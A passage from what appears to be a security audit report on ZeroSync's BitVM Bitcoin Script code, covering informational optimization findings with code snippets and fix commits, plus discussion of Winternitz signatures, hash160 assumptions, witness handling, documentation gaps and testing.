The `tmul` function is passed a bigint of type `T` called `q` in the code comments as a hint. The type `T` is interpreted as a signed integer type, by interpreting the value using two's complement.

The first step in using `q` is to negate it as follows:

```
// Pre-compute lookup tables
{ T::push_zero() }                    // {q} {0} -> {x0} {x1} {y0} {y1}
{ T::sub(0, 1) }                      // {-q} -> {x0} {x1} {y0} {y1}
```

This has one edge case. Namely, when `q` has the unsigned value `2^{T::N_BITS - 1}`, which is interpreted in two's complement as `-2^{T::N_BITS - 1}`, then this will compute the same value again, as `T::sub` operates modulo `2^{T::N_BITS}`.

Impact

The correct value for the hint `q` can never be `2^{T::N_BITS - 1}` or `-2^{T::N_BITS - 1}`, so this case does not occur during legitimate usage.

This edge case is also not a problem when using it on purpose. This is more of a quirk where the original input `q` is interpreted as two's complement for all values except `2^{T::N_BITS - 1}`, which, contrary to the usual standard, is interpreted as `2^{T::N_BITS - 1}`. This change in interpretation would then make the value of `-q` fit again (with `-q` interpreted the usual way). As long as `tmul` operates correctly with such a value `-q` that might span the entire range representable by `T` using two's complement, then `tmul` will never compute an incorrect result for the multiplication that is to be computed due to this quirk.

As this behavior is unexpected, we are documenting it here.

Recommendations

No changes are needed to the code for correctness; however, we would recommend to add some documentation to the code pointing out this special case and why it does not pose a problem.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 50f9c772 ↗, where a comment was added as suggested.

3.50. The function `Fq2::hinted_frobenius_map` could avoid an expensive `tmul`

Target	Fq2::hinted_frobenius_map		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The function `Fq2::hinted_frobenius_map` is implemented as follows:

```
pub fn hinted_frobenius_map(i: usize, a: ark_bn254::Fq2) -> (Script,
    Vec<Hint>) {
    Fq::hinted_mul_by_constant(
        a.c1,
        &ark_bn254::Fq2Config::FROBENIUS_COEFF_FP2_C1
            [i % ark_bn254::Fq2Config::FROBENIUS_COEFF_FP2_C1.len()],
    )
}
```

The script performs an expensive multiplication by a constant. Note that this constant is either `1` or `-1`. The script could thus be replaced by the empty script and `Fq::neg`, respectively.

Impact

The test `bn254::fq2::test::test_bn254_fq2_hinted_frobenius_map` can be used to measure the script size of `Fq2::hinted_frobenius_map`. With the current implementation, the test reports scripts of size 67802 and 67837, respectively, for the two cases of multiplication by `1` and `-1`.

Replacing the implementation by the following,

```
pub fn zellic_hinted_frobenius_map(i: usize, a: ark_bn254::Fq2) -> (Script,
    Vec<Hint>) {
    let constant = ark_bn254::Fq2Config::FROBENIUS_COEFF_FP2_C1
            [i % ark_bn254::Fq2Config::FROBENIUS_COEFF_FP2_C1.len()];
    let one = <ark_bn254::Fq as ark_ff::Field>::ONE;
    if constant == one {
        return (script!(), vec![])
    }
    else if constant == -one {
        return (Fq::neg(0), vec![])
    }
    else {
```

```
        unreachable!();
    }
}
```

the adjusted test still succeeds, but it now reports script sizes of 0 and 233 bytes, respectively, a reduction by over 99%.

Recommendations

Consider changing the implementation of `Fq2::hinted_frobenius_map` to avoid unnecessary `tmul` invocations.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `4192489e` ↗.

3.51. Redundant check in `G1Affine::hinted_from_eval_point`

Target	G1Affine::hinted_from_eval_point		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The method `hinted_from_eval_point` accepts `py_inv`, `x`, and `y` as inputs on the stack. It returns `-x*py_inv` and `py_inv`. For soundness, it needs to verify that `py_inv` is the multiplicative inverse of `y` (i.e., `y*py_inv == 1`). This check is performed twice.

The function internally calls `hinted_x_from_eval_point` and `hinted_y_from_eval_point`.

```
let (hinted_script1, hint1) = hinted_y_from_eval_point(p.y, py_inv);
let (hinted_script2, hint2) = hinted_x_from_eval_point(p, py_inv);
```

Both functions verify the relationship `y*py_inv == 1`, consuming unnecessary opcodes.

Impact

Performing the same check twice consumes unnecessary opcodes due to redundant instructions. Removing the check from one of the functions does not cause any change in functionality as long as `hinted_x_from_eval_point` and `hinted_y_from_eval_point` are only intended to be used through `hinted_from_eval_point`.

Recommendations

We recommend removing the check from `hinted_x_from_eval_point` or the call to `hinted_y_from_eval_point` and change the surrounding script accordingly.

Also consider whether `Fp254Impl::hinted_inv` can be used to reduce code duplication.

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 625f152b
- bb62f5c1

3.52. Redundant table pushes for BLAKE3

Target	hash::blake3, chunk::wrap_hasher		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

The `blake3` function expects the message to be present on the stack with nothing beneath it and pushes the lookup tables it uses on its own, shuffling the message to the altstack and back. It is called by `chunk::wrap_hasher::hash_n_bytes`, which is called through type-specific wrappers on each hint element by `chunk::wrap_hasher::hash_messages`. Since `chunk::wrap_hasher::hash_messages` has knowledge of all the remaining stack elements not currently being hashed to shuffle them to the altstack, it is also in a position to push the blake3 lookup tables beforehand so that they can be shared for hashing multiple hint elements.

Impact

Sharing the blake3 lookup tables between messages in `hash_messages` saves at least `SUM_OF_FULL_TABLES` (384) bytes per hint element.

Recommendations

Change the precondition of `blake3` / `blake3_compute_script` to require the tables to already be pushed to the stack, and push them in `hash_messages`, threading a `StackTracker` through the call stack.

Remediation

This issue has been acknowledged by ZeroSync.

3.53. The bigint multiplication can be optimized

Target	bigint::mul		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

There are multiple redundant operations in `BigIntImpl::mul` (e.g., adding zero on the first iteration instead of conditionally emitting zero, using `roll` instead of a nonzero argument for `double`).

Impact

The byte size of `U254::mul` can be reduced from 116,218 to 111,466 (saving 4,752 bytes per multiplication), and the byte size of `U64::mul` can be reduced from 12,307 to 11,725 (saving 582 bytes per multiplication).

Recommendations

Remove the redundant `add` / `roll` operations from `BigIntImpl::mul`.

```
script! {
    { Self::convert_to_be_bits_toaltstack() }

   { push_to_stack(0,Self::N_LIMBS as usize) }


    OP_FROMALTSTACK
    OP_IF
       { Self::copy(1) }
       { Self::add(1, 0) }
       { Self::copy(0) }
   OP_ELSE
       { push_to_stack(0, Self::N_LIMBS as usize) }
    OP_ENDIF

    for _ in 1..N_BITS - 1 {
       { Self::roll(1) }
//
```

```
        { Self::double(0) }
        { Self::double(1) }
          { Self::roll(1) }
          OP_FROMALTSTACK
          OP_IF
              { Self::copy(1) }
              { Self::add(1, 0) }
          OP_ENDIF
      }

    { Self::roll(1) }
    { Self::double(0) }
    { Self::double(1) }
      OP_FROMALTSTACK
      OP_IF
          { Self::add(1, 0) }
      OP_ELSE
          { Self::drop() }
      OP_ENDIF
  }
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 93dcec44 ↗.

3.54. The bigint copying can be optimized

Target	bigint::std		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

In `BigIntImpl::copy`, if the offset in the stack to copy is less than 134 stack elements deep, a sequence of instructions costing $(\texttt{cost(offset)} + 1) * \texttt{N_LIMBS}$ bytes is used instead of one costing $\texttt{cost(offset)} + 3 * \texttt{N_LIMBS} + 2$. Offsets less than 128 cost two bytes to encode, while offsets at least 128 cost three bytes to encode.

Impact

For `U64::copy`, at an offset of 32 bigints (128 bytes), the size of the copy decreases from 16 to 14. There is no impact for the size of `U254::copy`.

Recommendations

Switch encodings at a byte offset of 128 instead of 134.

```
script! {
    if a < 134 {
    if a < 128 {
        for _ in 0..Self::N_LIMBS {
            { a } OP_PICK
        }
    } else {
        { a + 1 }
        for _ in 0..Self::N_LIMBS - 1 {
            OP_DUP OP_PICK OP_SWAP
        }
        OP_1SUB OP_PICK
    }
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The recommended patch is directly present in the commit.

3.55. U4 addition tables can be optimized

Target	u4::add		
Category	Optimization	**Severity**	Informational
Likelihood	N/A	**Impact**	Informational

Description

Since `u4_add_with_table` supports a maximum of four addends with at most three carries, `u4_push_quotient_table` and `u4_push_modulo_table` can be decreased from 65 entries to 64.

Impact

This saves two bytes directly and additionally saves two bytes in `u4_drop_add_tables` since dropping an even number of stack elements can use exclusively `OP_2DUP` instead of using `OP_DUP` for the odd bytes at the end of each 65-byte table.

Recommendations

Remove the leading `OP_4` in `u4_push_quotient_table`, change the range in `u4_push_modulo_table` from `0..65` to `0..64`, and adjust constants accordingly in `u4_drop_quotient_table`, `u4_drop_modulo_table`, `u4_add_internal`, `test_quotient`, and `test_modulo`.

The following unit test demonstrates that adding four copies of $2^{32} - 1$ still succeeds without support for a fourth carry.

```
#[test]
fn test_add_with_table_boundary() {
    let len = 4;
    let vars: Vec<u32> = (0..len).map(|_| u32::MAX).collect();
    let result = vars.iter().fold(0_u64, |sum, &x| sum + x as u64) %
    (1_u64 << 32);
    let script = script! {
        { u4_push_add_tables() }
        for x in vars {
            { u4_number_to_nibble(x) }
        }
        { u4_add_with_table(8,
    (0..).step_by(8).take(len.try_into().unwrap()).collect(), len * 8) }
        { u4_drop_add_tables() }
```

```
        { u4_number_to_nibble(result.try_into().unwrap()) }
        for _ in 0..8 {
            OP_FROMALTSTACK
        }
        for i in 0..8 {
            { 8 - i }
            OP_ROLL
            OP_EQUALVERIFY
        }
        OP_TRUE
    };
    run(script);
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The relevant sections of the patch are:

```
pub fn u4_push_quotient_table() -> Script {
    script! {
       OP_4
        for i in (0..=3).rev() {
```

```
pub fn u4_drop_quotient_table() -> Script {
   u4_drop(65)
   u4_drop(64)
```

```
pub fn u4_push_modulo_table() -> Script {
    script! {
       for i in (0..65).rev() {
       for i in (0..64).rev() {
```

```
pub fn u4_drop_modulo_table() -> Script {
   u4_drop(65)
   u4_drop(64)
```

```
pub fn u4_add_internal(nibble_count: u32, number_count: u32, tables_offset:
   u32) -> Script {
```

```
  assert!(number_count < 5);
let quotient_table_size = 65;
let quotient_table_size = 64;
```

```
  fn test_quotient() {
    for i in 0..65 {
    for i in 0..64 {
```

```
  fn test_modulo() {
    for i in 0..65 {
    for i in 0..64 {
```

```
let add_size = 130;
let add_size = 128;
  let sched_size = 128;
```

4. Discussion

The purpose of this section is to document miscellaneous observations that we made during the assessment. These discussion notes are not necessarily security related and do not convey that we are suggesting a code change.

4.1. Winternitz one-time signatures

In this section, we summarize signing and verification of Winternitz one-time signatures to fix notation and give context for some related findings.

Winternitz signatures were introduced in section 5 of the paper "A Certified Digital Signature ↗" by Ralph C. Merkle. For notation, we will mostly follow the book *A Graduate Course in Applied Cryptography* ↗ by Dan Boneh and Victor Shoup, which contains an exposition in section 14.3, and which is also the reference used by the BitVM2 paper ↗.

The signature scheme depends in particular on a parameter d, which in practice in the examined code is usually $d = 15$.

The native messages used in Winternitz signatures are tuples $(m_0, \ldots, m_{n_0-1})$ with $0 \leq m_i \leq d$. Thus, the first step in signing is usually to convert the message at hand to this format. For example, for $d = 15$, where each m_i is a nibble, this typically amounts to splitting each byte into two nibbles.

Out of the message $(m_0, \ldots, m_{n_0-1})$ a checksum $(c_0, \ldots, c_{n_1-1})$ is computed, also satisfying $0 \leq c_i \leq d$. Appending the checksum digits to the message digits, one obtains a combined tuple $(s_0, \ldots, s_{n-1}) = (m_0, \ldots m_{n_0-1}, c_0, \ldots, c_{n_1-1})$, where $n = n_0 + n_1$.

This combined tuple is then signed digit-wise, producing a signature $(\sigma_0, \ldots, \sigma_{n-1})$. We will explain the digit-wise signature below.

Verification consists of two steps: 1) verification of the digit-wise signatures for each digit and 2) verification that the checksum is correct.

Digit-wise signatures rely on the use of a hash function f, for which `hash160` is used. With `hash160`, byte vectors of arbitrary length can be hashed, producing a byte vector of length 20. Restricting the inputs to byte vectors of the same length 20, one can consider `hash160` as a map $f = \texttt{hash160} : \texttt{byte[20]} \to \texttt{byte[20]}$.

The signer's secret key consists of a byte vector x_i of length 20 for each index $0 \leq i < n$, while the corresponding digit-wise public key is $y_i = f^{(d)}(x_i)$, where $f^{(j)} = f^{\circ j} = f \circ \cdots \circ f$ denotes j-fold composition of f with itself ($f^{(0)}$ is the identity map).

The signature of a digit s_i is then given by $\sigma_i = f^{(s_i)}(x_i)$. The verifier checks this signature by computing $f^{(d-s_i)}(\sigma_i)$ and checking that this is equal to y_i.

Note that given a valid signature σ_i for a digit s_i, anyone can compute a valid signature for s_i' as long as $s_i' \geq s_i$. This necessitates the use of the checksum, which has the property that no two nonequal tuples of length n exists so that one is componentwise greater than or equal to the other, while both pass checksum verification.

Concretely, the checksum used for this purpose requires $d \cdot n_0 - \sum_{i=0}^{n_0-1} m_i = \sum_{i=0}^{n_1} c_i \cdot (d+1)^{n_1-1-i}$, so the checksum digits are the base $d+1$ big-endian representation of $d \cdot n_0 - \sum_{i=0}^{n_0-1} m_i$.

4.2. Properties of `hash160` needed for Winternitz signatures

The literature describes schemes such as the Winternitz one-time signature scheme by building them up from a number of abstracted components (such as one-way functions), while actual implementations must instantiate the scheme with concrete choices for these components. This raises the question of whether those choices satisfy the properties that are required of them for the cryptographic scheme to be known or assumed to be secure. In the case of the reviewed implementation of Winternitz signatures, the `hash160` function is a crucial building block in several components. In this section, we thus discuss what requirements this places on `hash160` and why `hash160` is assumed to satisfy them.

We will use notation from section 4.1. ↗, which briefly introduces Winternitz signatures.

The `hash160` function

The function `hash160` is defined as a composite of SHA-256 and RIPEMD-160, that is `hash160(x)=RIPEMD160(SHA256(x))`. Both SHA-256 and RIPEMD-160 are widely assumed to be usable, at the time of writing, as cryptographic hash functions that can act as a stand-in for random oracles on inputs of fixed size. Under this assumption, their composite `hash160` is usable as a stand-in for a random oracle as well on inputs of fixed size. We will see that with this assumption, `hash160` satisfies the requirements for a safe instantiation of the Winternitz one-time signature scheme.

Requirements made of `hash160` for the Winternitz instantiation to be secure

Theorem 14.4 in *A Graduate Course in Applied Cryptography* ↗ states that the Winternitz signature is a secure one-time signature scheme if several assumptions on parameters hold. In particular, the map G_{prg} that is used for key expansion is assumed to be a secure PRG, the map H used for public-key compression is assumed to be collision resistant, and the map f used for digit-wise signatures is assumed to be a one-way function on d iterates.

The implementation does not use public-key compression, so the relevant map H is the identity, which is collision resistant. Both f and G_{prg} are defined using `hash160` in the implementation, and we discuss these two uses separately in the following two subsections.

Secure instantiation of pseudorandom generator

The first use of `hash160` in the codebase is as a pseudorandom generator (PRG) to derive the secret-key components x_i (denoted `secret_i` in the code) for each digit from the secret-key seed `secret_key`.

The following code snippet in the function `digit_signature` in the bitvm/src/signatures/winternitz.rs file shows how the secret-key components are derived:

```
let mut secret_i = secret_key.clone();
secret_i.push(digit_index as u8);
let mut hash = hash160::Hash::hash(&secret_i);
```

In *A Graduate Course in Applied Cryptography* ↗, the secret-key components are derived by applying a PRG G_{prg} to the secret-key seed. In the codebase's implementation, the PRG is instantiated in the following way:
$G_{\text{prg}}(s) = (\texttt{hash160}(s \| g(0)), \texttt{hash160}(s \| g(1)), \ldots, \texttt{hash160}(s \| g(n)))$, where g is an injective map that converts indexes in the supported range to byte vectors of length ℓ. Note that the current implementation of g, which results in messages only being supported up to length 256 (length in message plus checksum digits) is the subject of Finding 3.14. ↗.

PRG security requires that for a uniformly sampled seed s, without knowing the seed, the output distribution of $G_{\text{prg}}(s)$ is computationally indistinguishable from a uniform distribution.

Assuming that `hash160` is suitable as a stand-in for a random oracle, G_{prg} satisfies this condition.

One-wayness on multiple iterates

Recall that the Winternitz signature relies on repeatedly applying a function f up to d times. Specifically, the following function depending on $0 \leq j \leq d$ is evaluated on an input x:
$f^{(j)}(x) = \underbrace{f(f(\ldots f}_{j \text{ times}}(x)))$.

With regards to f, the assumption of theorem 14.4 mentioned above is that it is a one-way function on d iterates.

This means it should be hard to find an f inverse of $f^{(j)}(x)$ — that is, an efficient (polynomial-time) adversary $\mathcal{A}$, on input $y = f^{(j)}(x)$ for an adversarially chosen j and a uniformly chosen x, cannot produce an x' such that $f(x') = y$ with more than negligible probability. This is a strictly stronger requirement than the one-wayness of f itself, as it may be computationally feasible to find an f inverse after d iterations even when f is one-way.

In the codebase, the map `hash160 : byte[20]` $\rightarrow$ `byte[20]` is used as the iterated function f. The assumed property of `hash160` being suitable as a stand-in for a random oracle is a sufficiently strong assumption to imply one-wayness on iterates.

No short cycles on iterates

In this subsection, we discuss one more specific property of `hash160` that is assumed directly by the implementation of one of the verifiers, rather than stemming from the general assumption that the Winternitz scheme is secure overall. While this property again follows from the assumed random-oracle behavior of `hash160`, we discuss this property separately given that it is introduced by a particular implementation.

In function `verify_digits` of the `BruteforceVerifier` in the bitvm/src/signatures/winternitz.rs file, verification is performed in a brute-force way by iterating through all possible choices for each digit and checking the validity of the digit signature. The overall signature is valid if a valid digit is found for each index. The following code snippet produces a script that applies `hash160` repeatedly to a digit signature and adds the valid digit to the altstack when the repeated hash matches the public key:

```
OP_2DUP
OP_EQUAL
OP_IF
    {ps.max_digit()}
    OP_TOALTSTACK
OP_ENDIF
for i in 0..ps.max_digit() {
    OP_HASH160
    OP_2DUP
    OP_EQUAL
    OP_IF
        { ps.max_digit() - i - 1 }
        OP_TOALTSTACK
    OP_ENDIF
}
```

Before executing this part of the script, the top two elements in the stack are the signature σ and the digit public key y. Then, $f =$ `hash160` is repeatedly applied to σ. For each $i = 0, 1, \ldots, d$ such that $f^{(i)}(\sigma) = y$, an element `d-i` is added to the altstack. Here, `ps.max_digit()` corresponds to what was denoted by `d` in our notation above. The intention of this snippet is that at the end, if the signature is valid, exactly one digit corresponding to the original message digit will be added to the altstack, and if the signature is invalid, nothing will be added to the altstack. So the altstack size will grow by 1 or 0, depending on whether the signature is valid. This will be the case if at most one of $f^{(i)}(\sigma)$ for `i=0,1,...,d` will be equal to y.

However, if it were easy to find a fixed point for `f=hash160` (i.e., an x such that $f(x) = x$) or a short cycle (i.e., an x and a small $j \leq d$ such that $f^{(j)}(x) = x$), then the signer could create signatures so that the above snippet would add more than one element to the altstack. For example, if y is a fixed point, then the signer might use y both as the public key and the signature. In that case, all of $d, d-1, \ldots, 1, 0$ will be added to the altstack. This is an unexpected behavior of this part of the script.

In the broader BitVM context, the signer is the operator, who needs to publish signatures that are

checked with the `ListpickVerifier` in the Assert transaction, while the challenger that wishes to disprove the operator needs to provide the signature as witness to the `BruteforceVerifier`.

Thus, if it were possible to find a fixed point or short cycle, the malicious operator could use such a short cycle for its signature. The `ListpickVerifier` behaves as intended, so this will not cause problems for the operator's Assert transaction. But then when the challenger tries to disprove, they provide the signature as input to the `BruteforceVerifier`, which as discussed will not fail directly but leave the stack in an unintended, corrupt state. This will very likely cause a failure of the transaction at some later point, likely already directly afterwards in the checksum check, making it impossible for the challenger to disprove.

On top of the already discussed assumptions required by application of theorem 14.4 mentioned above, the implementation of `BruteforceVerifier` and its usage in the context of the BitVM project thus make the separate assumption that it is infeasible to find short cycles for `hash160`. Similarly to the other requirements, this follows from the assumed suitability of `hash160` as a stand-in for a random oracle as well.

A potential mitigation for the hypothetical existence of in-practice findable short cycles would be to consider signatures by the operator with short cycles as invalid input that allow slashing the operator. Concretely, this could involve adding disprove tapscripts that allow disproving the operator by providing a valid signature by the operator where `BruteforceVerifier::verify_digits` finds more than one match for at least one component. However, it appears very unlikely that `hash160` may be broken in the future such that finding short cycles becomes feasible, while at the same time the Winternitz signature scheme in the discussed instantiation is still considered secure.

4.3. Witness length

In this section, we analyze the way the ops script references the witness on the stack and the restrictions this places on its implementation.

First, consider simple Bitcoin scripts operating on the stack in the following way. They never use `OP_DEPTH` and therefore only reference elements relative to the top of the stack.

These scripts could be executed on a bottomless stack, infinitely extending downwards. While analyzing these scripts, one can always assume that all referenced elements actually exist. To be precise, we can treat the witness as an oracle that reveals elements up to the depth referenced in the script.

The actual witness on successful executions of the script can then be assumed to be the actually retrieved elements. If it were shorter, the script would have failed at a referencing operation, and if the witness were longer, the excess elements would remain on the stack unchanged after script execution. Due to the clean stack check for SegWit and Taproot transactions, the script would fail in these cases, too.

The ops scripts do not adhere to this simple scheme. In addition to referencing elements relative to the top, they use `OP_DEPTH` in the sequence `OP_DEPTH OP_1SUB OP_ROLL` and only there. This

sequence moves the bottom element of the stack to the top.

This addition complicates the analysis. One would like to treat this operation as retrieving elements from a second oracle, but a malicious challenger could provide less computational hints than intended. In this case, the use of the computational hint would use an element that was already referenced from above. For example, it might have been put there by the script and not be part of the witness.

Despite this interaction, if `OP_DEPTH OP_1SUB OP_ROLL` is the only sequence in which `OP_DEPTH` appears, the two-oracle model is valid. Because this operation only removes the bottom element and never adds any elements relative to the bottom, its only influence on the first oracle is that already retrieved elements are removed from the stack. If they are referenced again, the script would fail. Thus, it is safe to assume that the referenced elements were not removed.

This argument depends on the very specific operation of moving the bottom-most element to the top. If, for example, we would allow to move the element second from the bottom up to the top, the oracle model would break, because any reference to the moved element would now retrieve the bottom element instead of becoming invalid.

In conclusion, for any witness for which the execution does not abort due to an invalid reference, the result is the top segment of the result for an execution on a witness of the form `computational_hints excess_hints top_hints`, where `computational_hints` are the elements removed with an `OP_DEPTH OP_1SUB OP_ROLL` sequence from the bottom, `top_hints` are elements that are referenced relative to the top (retrieved via the first oracle), and `excess_hints` are elements that are never referenced.

4.4. Incomplete documentation

Many functions in the audit scope lack a complete documentation describing the assumptions they make on their input values and the promises they make on their return value that is used by the caller. This is in particular true for functions generating Bitcoin script sections. Their behavior relies on assumptions on the stack and altstack prior to execution, and based on these assumptions, they make promises on the state after execution. On almost all functions returning Bitcoin script segments, this description is missing.

We recommend to add this precise documentation for the following reasons:

- It defines a clear boundary of responsibility between the caller and the function. This allows to check the correctness of a function's implementation without consulting the implementation of the function it calls.
- It eases sharing an existing function with code in other modules. The documentation of public functions should also include assumptions and restrictions that might be common within its crate but missed when using it outside of this context.
- The function's implementation can be changed without breaking if it still adheres to its documentation and the caller only relies on documented behavior.

Critical undocumented behavior of script-generating functions

A common type of function is a function generating a hint-consuming script. Its typical signature is the following:

- It has Rust arguments corresponding the script arguments.
- It possibly has Rust arguments that influence the script.
- It (sometimes) returns the result that the script would have if executed on the provided arguments.
- It (sometimes) returns whether the script would consider the provided arguments as valid input.
- It returns the script.
- It returns the hints that are required to execute the function with the provided arguments.

For example, consider the following function from `chunk::taps_msm`:

```
// Hash P
//vk0: G1Affine
pub(crate) fn chunk_hash_p(
    hint_in_t: ark_bn254::G1Affine,
    hint_in_q: ark_bn254::G1Affine,
) -> (ark_bn254::G1Affine, bool, Script, Vec<Hint>) {
```

Here, `hint_in_t` corresponds to the single argument of the returned script. In contrast, the argument `hint_in_q` is a parameter that influences the script. The script adds the argument corresponding to `hint_in_t` to `hint_in_q`, whose value is part of the script. The first element of the return value is the result of the addition. The second return value is whether `hint_in_t` would be considered valid input, which is in this case always true. The third return value is the script. The last return value are the hints to execute the function with argument `hint_in_t`.

Generally, the following undocumented behavior is critical:

- The script does not depend on the arguments corresponding to script arguments. As illustrated above, it is not even apparent which arguments correspond to script arguments.
- If the script is executed with the provided arguments and hints, the function succeeds and results in the returned value.
- If a bool signifying input validity is returned, the script places the corresponding result on the top of the stack.
- The assumptions on the stack and altstack state under which the script has any defined behavior is also critical. Because in the complete tapscript, the correctness of the inputs is checked after executing the ops script, it is **critical** that the script has defined behavior for any state that a challenger could potentially provide. In particular, the stack layout must be changed in the correct way such that it is correct when the hash segment validates the input. In the example `chunk_hash_p` above, assuming the recommended type check from Finding 3.2. ↗ is implemented, it is critical that the function has defined

behavior for all `Fq` pairs, not only the ones representing a point on G1.

- For any valid input, the result of the script execution is correct. Documenting this includes documenting what the correct result should be. As illustrated in the above example `chunk_hash_p`, this is not always clear from the function's name or signature.

Misleading and incorrect documentation

In the file bitvm/src/chunk/taps_mul.rs, the function `utils_fq12_dd_mul` is documented as follows:

```
/// Compute product of two Fq12 elements in normalized form (1 + c J) <- (1 + a
    J) x (1 + b J).
/// Input a, b and output c.
// In this form (1 + c J) <- 1 + {(a+b)/(1 + ab J^2)}
// => c . (1 + ab J^2) =?= (a + b)
// a, b and c are passed as input to the script and the above equation is
    validated to show that c is the correct output
// For invalid input i.e (1 + ab J ^2) == 0, return [a, b, c]
pub(crate) fn utils_fq12_dd_mul(
    a: ark_bn254::Fq6,
    b: ark_bn254::Fq6,
) -> (ark_bn254::Fq6, bool, Script, Vec<Hint>) {
```

In this documentation, the term `normalized form` seems to refer to the operation of replacing an `Fq12` element `x=x0+x1*J` with nonzero `x0` by `x/x0 = 1+(x1/x0)*J`. With this interpretation, the following lines of the documentation contain errors. While one is a typo, the last line is false. For invalid input, the value of `c` is *not* returned but replaced by a mock value `1`.

```
/// Compute product of two Fq12 elements in normalized form (1 + c J) <- (1 + a
    J) x (1 + b J).
/// Input a, b and output c.
// In this form (1 + c J) <- 1 + {(a+b)/(1 + ab J^2)}
// In this form (1 + c J) <- 1 + {(a+b)/(1 + ab J^2)} J
// => c . (1 + ab J^2) =?= (a + b)
// a, b and c are passed as input to the script and the above equation is
    validated to show that c is the correct output
// For invalid input i.e (1 + ab J ^2) == 0, return [a, b, c]
// For invalid input i.e (1 + ab J ^2) == 0, return [a, b, 1]
```

Misleading function names

A function's name can be considered part of its documentation. If a function name signals assumptions or promises certain behavior, the function should adhere to that behavior even if it is

not explicitly stated in annotations. We document here functions where we found this not to be the case.

Function `bn254::fq2::Fq2::hinted_mul_lc4_keep_elements`

The function `bn254::fq2::Fq2::hinted_mul_lc4_keep_elements` in the file bitvm/src/bn254/fq2.rs implements computation of a linear combination of products of the form $x_1 \cdot y_1 + x_2 \cdot y_2$ for elements of `Fq2`. While this linear combination consists of only two summands, the name of the function suggests four. Compare with the functions `hinted_mul_lc2` and `hinted_mul_lc4` in bitvm/src/bn254/fp254impl.rs, where the number indicates the number of summands. It would thus be more consistent and avoid possible confusion if the function was renamed to `hinted_mul_lc2_keep_elements`.

Functions `bn254::g2::hinted_mul_by_char_*`

These functions implement operations based on the twisted Frobenius on the twisted bn254 curve E'. While it is true that this operation coincides with multiplication by the base field characteristic on the subgroup G2, this is not the case for all points in E'. The functions are critically used on points that have not been checked to be in G2. In particular, they are used to verify that certain proof inputs are in G2.

4.5. Test suite

When building a complex system with multiple moving parts and dependencies such as BitVM, comprehensive testing is essential. This includes testing for both positive and negative scenarios. Positive tests should verify that each function's side effect is as expected, while negative tests should cover every intended script failure, preferably in every logical branch.

The test suite was out of scope for our audit, so we did not evaluate whether each of the various components of the codebase have adequate tests. We did, however, notice the following two aspects of the test suite where improvements are possible.

In some areas, code generic over some configuration was only tested with the particular configuration used by other parts of the code at the time. Code written and documented as supporting a wider variety of use cases may in the future be used for these other configurations without having been tested for them. Examples of findings that could have been found with tests covering more configurations are the `tmul`-related findings, 3.22. ↗ and 3.37. ↗.

Another aspect is which values the tested scripts are run on. We noticed that some tests, for example in bitvm/src/chunk/g16_runner_core.rs, use only a single hardcoded Groth16 proof to test on. We recommend to additionally test with random Groth16 proofs. Note that this does not require computing legitimate Groth16 proofs: the verifying key can be randomly generated in such a manner that the discrete logs of all points are known, and then two of the Groth16 proof points can

be randomly generated (again in such a way that their discrete logs are known), with the last proof point computed from this (see e.g., the proof-of-concept code for Finding 3.6. ↗).

4.6. Simplifications and other style suggestions

In this section, we collect some suggestions to improve clarity of the code and similar recommendations.

Ensuring stack arguments do not overlap

When a Bitcoin script is generated, taking arguments at specified stack depths, care must be taken if the script assumes the arguments at the specified depths to be disjoint.

If arguments are assumed to be disjoint, for each depth, all other depth indications may not point at any stack position at and after it up to the end of the argument. This means, for each depth `a_depth` indicating an argument of size `a_size` (in the same units as `a_depth`), each other depth `b_depth` indicating an argument of size `b_size` must satisfy

```
(b_depth >= a_depth + a_size) OR (a_depth >= b_depth + b_size)
```

The depth parameters in functions in the files bitvm/src/bn254/fq{,2,6,12}.rs are measured in units of `Fq` elements. Thus, to ensure `Fq` arguments to be disjoint, it suffices to check for `a_depth != b_depth`. The size of an `FqN` argument is `N`. Thus, for example, the following assertion is not sufficient:

```
// bitvm/src/bn254/fq2.rs:
// [...]
pub fn hinted_mul(
    mut a_depth: u32,
    mut a: ark_bn254::Fq2,
    mut b_depth: u32,
    mut b: ark_bn254::Fq2,
) -> (Script, Vec<Hint>) {
    if a_depth < b_depth {
        (a_depth, b_depth) = (b_depth, a_depth);
        (a, b) = (b, a);
    }
    assert_ne!(a_depth, b_depth);
// [...]
```

This is similar in all functions in bitvm/src/bn254/fq{2,6,12}.rs with multiple depth arguments.

- fq2.rs: `add`, `sub`, `hinted_mul`, `hinted_mul_w4`, and `hinted_mul_lc4_keep_elements`
- fq6.rs: `add`, `sub`, `hinted_mul`, `hinted_mul_keep_elements`, and `hinted_mul_core`
- fq12.rs: `add`, `sub`, and `hinted_mul`

In some cases, other assertions in called functions will ensure the disjointness. Even in these cases, it would be more robust and readable to add disjointness checks at the top of the function with depth arguments.

Function `Fp254Impl::add`: `ROT, SWAP, ROT`

In `Fp254Impl::add` in bitvm/src/bn254/fp254impl.rs, there is the following passage:

```
OP_ROT
OP_SWAP
OP_ROT
```

This is equivalent to a single `OP_SWAP`, which using instead would make the code easier to read.

Usage of `LIMB_SIZE` of the incorrect type, though they are numerically the same

The functions `bigint_tmul_lc_1`, `bigint_tmul_lc_2`, and `bigint_tmul_lc_4` that are implemented for `Fq` in bitvm/src/bn254/fq.rs return the bit width and number of limbs of the bigint type `T` used for intermediate computations by three different variants of the `tmul` function. They are all implemented analogously, as shown here in the example of `bigint_tmul_lc_1`:

```
pub const fn bigint_tmul_lc_1() -> (u32, u32) {
    const X: u32 = <Fq as Fp254Mul>::T::N_BITS;
    const Y: u32 = <Fq as Fp254Mul>::LIMB_SIZE;
    (X, Y)
}
```

